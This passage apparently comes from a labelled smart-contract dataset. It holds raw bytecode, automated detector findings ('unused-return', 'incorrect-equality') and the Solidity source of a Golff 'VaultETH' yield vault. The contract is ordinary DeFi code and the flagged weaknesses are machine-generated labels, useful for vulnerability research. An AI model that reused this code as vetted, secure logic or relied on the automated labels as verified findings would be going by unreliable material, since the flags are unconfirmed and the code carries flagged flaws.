ffffffffffff1681526020019081526020016000205461195c90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080823b905060008111915050919050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a4c0ed363385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156118d35780820151818401526020810190506118b8565b50505050905090810190601f1680156119005780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b151561192057600080fd5b5af1151561192d57600080fd5b505050604051805190505050505050565b600080828401905083811015151561195257fe5b8091505092915050565b600082821115151561196a57fe5b818303905092915050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611a86576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1a565b611a99838261195c90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c4357600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c9157600080fd5b611ce382600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195c90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7882600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193e90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611ebb82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193e90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820bc6279c230cbb986802957f0f412e0cedfb32411c7448a7e11fa3a73b3deb8d50029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,532
0x84aADBdD9E551f43C250385a0bFA13b51fC87d15
// File: contracts/V2/VaultETH.sol pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface WETH { function deposit() external payable; function withdraw(uint wad) external; event Deposit(address indexed dst, uint wad); event Withdrawal(address indexed src, uint wad); } interface Controller { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; } contract VaultEth is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public min = 9990; uint public constant max = 10000; uint public earnLowerlimit = 50 ether; //池内空余资金到这个值就自动earn address public governance; address public controller; constructor (address _token, address _controller) public ERC20Detailed( string(abi.encodePacked("golff ", ERC20Detailed(_token).name())), "G-V2WETH", ERC20Detailed(_token).decimals() ) { token = IERC20(_token); governance = msg.sender; controller = _controller; } function stakeToken() external view returns (address) { return address(token); } function balance() public view returns (uint) { return token.balanceOf(address(this)) .add(Controller(controller).balanceOf(address(token))); } function setMin(uint _min) external { require(msg.sender == governance, "Golff:!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "Golff:!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == governance, "Golff:!governance"); controller = _controller; } function setEarnLowerlimit(uint256 _earnLowerlimit) public{ require(msg.sender == governance, "Golff:!governance"); earnLowerlimit = _earnLowerlimit; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint _bal = available(); token.safeTransfer(controller, _bal); Controller(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint _amount) public { uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); if (token.balanceOf(address(this))>earnLowerlimit){ earn(); } } function depositETH() public payable { uint _pool = balance(); uint _before = token.balanceOf(address(this)); uint _amount = msg.value; WETH(address(token)).deposit.value(_amount)(); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } function withdrawAllETH() external { withdrawETH(balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps // WETH function withdraw(uint _shares) public { uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Controller(controller).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } // No rebalance implementation for lower fees and faster swaps // ETH function withdrawETH(uint _shares) public { uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Controller(controller).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } WETH(address(token)).withdraw(r); address(msg.sender).transfer(r); } function getPricePerFullShare() public view returns (uint) { return balance().mul(1e18).div(totalSupply()); } function () external payable { if (msg.sender != address(token)) { depositETH(); } } }
0x6080604052600436106101ee5760003560e01c806390386bbf1161010d578063b6b55f25116100a0578063f14210a61161006f578063f14210a6146106ba578063f6326fb3146106e4578063f77c4791146106ec578063f889794514610701578063fc0c546a14610716576101ee565b8063b6b55f251461062b578063d389800f14610655578063dd62ed3e1461066a578063de5f6268146106a5576101ee565b8063a457c2d7116100dc578063a457c2d714610571578063a9059cbb146105aa578063ab033ea9146105e3578063b69ef8a814610616576101ee565b806390386bbf146104ea578063909d3f4c146104ff57806392eefe9b1461052957806395d89b411461055c576101ee565b806348a0d7541161018557806370a082311161015457806370a082311461047857806377c7b8fc146104ab578063853828b6146104c05780638e087c78146104d5576101ee565b806348a0d7541461040857806351ed6a301461041d5780635aa6e6751461044e5780636ac5db1914610463576101ee565b80632e1a7d4d116101c15780632e1a7d4d14610350578063313ce5671461037a57806339509351146103a557806345dc3dd8146103de576101ee565b806306fdde031461020f578063095ea7b31461029957806318160ddd146102e657806323b872dd1461030d575b60055461010090046001600160a01b0316331461020d5761020d61072b565b005b34801561021b57600080fd5b50610224610902565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025e578181015183820152602001610246565b50505050905090810190601f16801561028b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a557600080fd5b506102d2600480360360408110156102bc57600080fd5b506001600160a01b038135169060200135610998565b604080519115158252519081900360200190f35b3480156102f257600080fd5b506102fb6109b6565b60408051918252519081900360200190f35b34801561031957600080fd5b506102d26004803603606081101561033057600080fd5b506001600160a01b038135811691602081013590911690604001356109bc565b34801561035c57600080fd5b5061020d6004803603602081101561037357600080fd5b5035610a49565b34801561038657600080fd5b5061038f610c5c565b6040805160ff9092168252519081900360200190f35b3480156103b157600080fd5b506102d2600480360360408110156103c857600080fd5b506001600160a01b038135169060200135610c65565b3480156103ea57600080fd5b5061020d6004803603602081101561040157600080fd5b5035610cb9565b34801561041457600080fd5b506102fb610d11565b34801561042957600080fd5b50610432610dc7565b604080516001600160a01b039092168252519081900360200190f35b34801561045a57600080fd5b50610432610ddb565b34801561046f57600080fd5b506102fb610dea565b34801561048457600080fd5b506102fb6004803603602081101561049b57600080fd5b50356001600160a01b0316610df0565b3480156104b757600080fd5b506102fb610e0b565b3480156104cc57600080fd5b5061020d610e2c565b3480156104e157600080fd5b506102fb610e3f565b3480156104f657600080fd5b5061020d610e45565b34801561050b57600080fd5b5061020d6004803603602081101561052257600080fd5b5035610e56565b34801561053557600080fd5b5061020d6004803603602081101561054c57600080fd5b50356001600160a01b0316610eae565b34801561056857600080fd5b50610224610f23565b34801561057d57600080fd5b506102d26004803603604081101561059457600080fd5b506001600160a01b038135169060200135610f84565b3480156105b657600080fd5b506102d2600480360360408110156105cd57600080fd5b506001600160a01b038135169060200135610ff2565b3480156105ef57600080fd5b5061020d6004803603602081101561060657600080fd5b50356001600160a01b0316611006565b34801561062257600080fd5b506102fb61107b565b34801561063757600080fd5b5061020d6004803603602081101561064e57600080fd5b5035611187565b34801561066157600080fd5b5061020d611388565b34801561067657600080fd5b506102fb6004803603604081101561068d57600080fd5b506001600160a01b038135811691602001351661142e565b3480156106b157600080fd5b5061020d611459565b3480156106c657600080fd5b5061020d600480360360208110156106dd57600080fd5b50356114db565b61020d61072b565b3480156106f857600080fd5b5061043261175b565b34801561070d57600080fd5b506102fb61176a565b34801561072257600080fd5b50610432611770565b600061073561107b565b600554604080516370a0823160e01b815230600482015290519293506000926101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b15801561078a57600080fd5b505afa15801561079e573d6000803e3d6000fd5b505050506040513d60208110156107b457600080fd5b505160055460408051630d0e30db60e41b8152905192935034926101009092046001600160a01b03169163d0e30db0918491600480830192600092919082900301818588803b15801561080657600080fd5b505af115801561081a573d6000803e3d6000fd5b5050600554604080516370a0823160e01b81523060048201529051600095506101009092046001600160a01b031693506370a082319250602480820192602092909190829003018186803b15801561087157600080fd5b505afa158015610885573d6000803e3d6000fd5b505050506040513d602081101561089b57600080fd5b505190506108af818463ffffffff61178416565b915060006108bb6109b6565b6108c65750816108f1565b6108ee856108e26108d56109b6565b869063ffffffff6117cd16565b9063ffffffff61182616565b90505b6108fb3382611868565b5050505050565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561098e5780601f106109635761010080835404028352916020019161098e565b820191906000526020600020905b81548152906001019060200180831161097157829003601f168201915b5050505050905090565b60006109ac6109a5611958565b848461195c565b5060015b92915050565b60025490565b60006109c9848484611a48565b610a3f846109d5611958565b610a3a85604051806060016040528060288152602001612145602891396001600160a01b038a16600090815260016020526040812090610a13611958565b6001600160a01b03168152602081019190915260400160002054919063ffffffff611ba416565b61195c565b5060019392505050565b6000610a6e610a566109b6565b6108e284610a6261107b565b9063ffffffff6117cd16565b9050610a7a3383611c3b565b600554604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aca57600080fd5b505afa158015610ade573d6000803e3d6000fd5b505050506040513d6020811015610af457600080fd5b5051905081811015610c3b576000610b12838363ffffffff61178416565b6009546005546040805163f3fef3a360e01b81526001600160a01b036101009093048316600482015260248101859052905193945091169163f3fef3a39160448082019260009290919082900301818387803b158015610b7157600080fd5b505af1158015610b85573d6000803e3d6000fd5b5050600554604080516370a0823160e01b81523060048201529051600094506101009092046001600160a01b031692506370a08231916024808301926020929190829003018186803b158015610bda57600080fd5b505afa158015610bee573d6000803e3d6000fd5b505050506040513d6020811015610c0457600080fd5b505190506000610c1a828563ffffffff61178416565b905082811015610c3757610c34848263ffffffff611d3716565b94505b5050505b600554610c579061010090046001600160a01b03163384611d91565b505050565b60055460ff1690565b60006109ac610c72611958565b84610a3a8560016000610c83611958565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff611d3716565b6008546001600160a01b03163314610d0c576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b600655565b6000610dc26127106108e2600654600560019054906101000a90046001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610d8a57600080fd5b505afa158015610d9e573d6000803e3d6000fd5b505050506040513d6020811015610db457600080fd5b50519063ffffffff6117cd16565b905090565b60055461010090046001600160a01b031690565b6008546001600160a01b031681565b61271081565b6001600160a01b031660009081526020819052604090205490565b6000610dc2610e186109b6565b6108e2670de0b6b3a7640000610a6261107b565b610e3d610e3833610df0565b610a49565b565b60075481565b610e3d610e5133610df0565b6114db565b6008546001600160a01b03163314610ea9576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b600755565b6008546001600160a01b03163314610f01576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561098e5780601f106109635761010080835404028352916020019161098e565b60006109ac610f91611958565b84610a3a856040518060600160405280602581526020016122016025913960016000610fbb611958565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff611ba416565b60006109ac610fff611958565b8484611a48565b6008546001600160a01b03163314611059576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b600954600554604080516370a0823160e01b81526001600160a01b03610100909304831660048201529051600093610dc29316916370a08231916024808301926020929190829003018186803b1580156110d457600080fd5b505afa1580156110e8573d6000803e3d6000fd5b505050506040513d60208110156110fe57600080fd5b5051600554604080516370a0823160e01b815230600482015290516101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b15801561114f57600080fd5b505afa158015611163573d6000803e3d6000fd5b505050506040513d602081101561117957600080fd5b50519063ffffffff611d3716565b600061119161107b565b600554604080516370a0823160e01b815230600482015290519293506000926101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b1580156111e657600080fd5b505afa1580156111fa573d6000803e3d6000fd5b505050506040513d602081101561121057600080fd5b50516005549091506112329061010090046001600160a01b0316333086611de3565b600554604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561128257600080fd5b505afa158015611296573d6000803e3d6000fd5b505050506040513d60208110156112ac57600080fd5b505190506112c0818363ffffffff61178416565b935060006112cc6109b6565b6112d75750836112f6565b6112f3846108e26112e66109b6565b889063ffffffff6117cd16565b90505b6113003382611868565b600754600554604080516370a0823160e01b815230600482015290516101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b15801561135257600080fd5b505afa158015611366573d6000803e3d6000fd5b505050506040513d602081101561137c57600080fd5b505111156108fb576108fb5b6000611392610d11565b6009546005549192506113bd9161010090046001600160a01b0390811691168363ffffffff611d9116565b6009546005546040805163b02bf4b960e01b81526101009092046001600160a01b03908116600484015260248301859052905192169163b02bf4b99160448082019260009290919082900301818387803b15801561141a57600080fd5b505af11580156108fb573d6000803e3d6000fd5b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600554604080516370a0823160e01b81523360048201529051610e3d9261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156114aa57600080fd5b505afa1580156114be573d6000803e3d6000fd5b505050506040513d60208110156114d457600080fd5b5051611187565b60006114e8610a566109b6565b90506114f43383611c3b565b600554604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561154457600080fd5b505afa158015611558573d6000803e3d6000fd5b505050506040513d602081101561156e57600080fd5b50519050818110156116b557600061158c838363ffffffff61178416565b6009546005546040805163f3fef3a360e01b81526001600160a01b036101009093048316600482015260248101859052905193945091169163f3fef3a39160448082019260009290919082900301818387803b1580156115eb57600080fd5b505af11580156115ff573d6000803e3d6000fd5b5050600554604080516370a0823160e01b81523060048201529051600094506101009092046001600160a01b031692506370a08231916024808301926020929190829003018186803b15801561165457600080fd5b505afa158015611668573d6000803e3d6000fd5b505050506040513d602081101561167e57600080fd5b505190506000611694828563ffffffff61178416565b9050828110156116b1576116ae848263ffffffff611d3716565b94505b5050505b600560019054906101000a90046001600160a01b03166001600160a01b0316632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561171057600080fd5b505af1158015611724573d6000803e3d6000fd5b505060405133925084156108fc02915084906000818181858888f19350505050158015611755573d6000803e3d6000fd5b50505050565b6009546001600160a01b031681565b60065481565b60055461010090046001600160a01b031681565b60006117c683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ba4565b9392505050565b6000826117dc575060006109b0565b828202828482816117e957fe5b04146117c65760405162461bcd60e51b81526004018080602001828103825260218152602001806121246021913960400191505060405180910390fd5b60006117c683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e3d565b6001600160a01b0382166118c3576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6002546118d6908263ffffffff611d3716565b6002556001600160a01b038216600090815260208190526040902054611902908263ffffffff611d3716565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b3390565b6001600160a01b0383166119a15760405162461bcd60e51b81526004018080602001828103825260248152602001806121b36024913960400191505060405180910390fd5b6001600160a01b0382166119e65760405162461bcd60e51b81526004018080602001828103825260228152602001806120dc6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611a8d5760405162461bcd60e51b815260040180806020018281038252602581526020018061218e6025913960400191505060405180910390fd5b6001600160a01b038216611ad25760405162461bcd60e51b81526004018080602001828103825260238152602001806120976023913960400191505060405180910390fd5b611b15816040518060600160405280602681526020016120fe602691396001600160a01b038616600090815260208190526040902054919063ffffffff611ba416565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b4a908263ffffffff611d3716565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115611c335760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611bf8578181015183820152602001611be0565b50505050905090810190601f168015611c255780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038216611c805760405162461bcd60e51b815260040180806020018281038252602181526020018061216d6021913960400191505060405180910390fd5b611cc3816040518060600160405280602281526020016120ba602291396001600160a01b038516600090815260208190526040902054919063ffffffff611ba416565b6001600160a01b038316600090815260208190526040902055600254611cef908263ffffffff61178416565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000828201838110156117c6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610c57908490611ea2565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611755908590611ea2565b60008183611e8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611bf8578181015183820152602001611be0565b506000838581611e9857fe5b0495945050505050565b611eb4826001600160a01b031661205a565b611f05576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310611f435780518252601f199092019160209182019101611f24565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611fa5576040519150601f19603f3d011682016040523d82523d6000602084013e611faa565b606091505b509150915081612001576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156117555780806020019051602081101561201d57600080fd5b50516117555760405162461bcd60e51b815260040180806020018281038252602a8152602001806121d7602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061208e5750808214155b94935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820d16210b31bf84917c4e80e521bf8aa339e5c07e37320e82563945705abe5613264736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
2,533
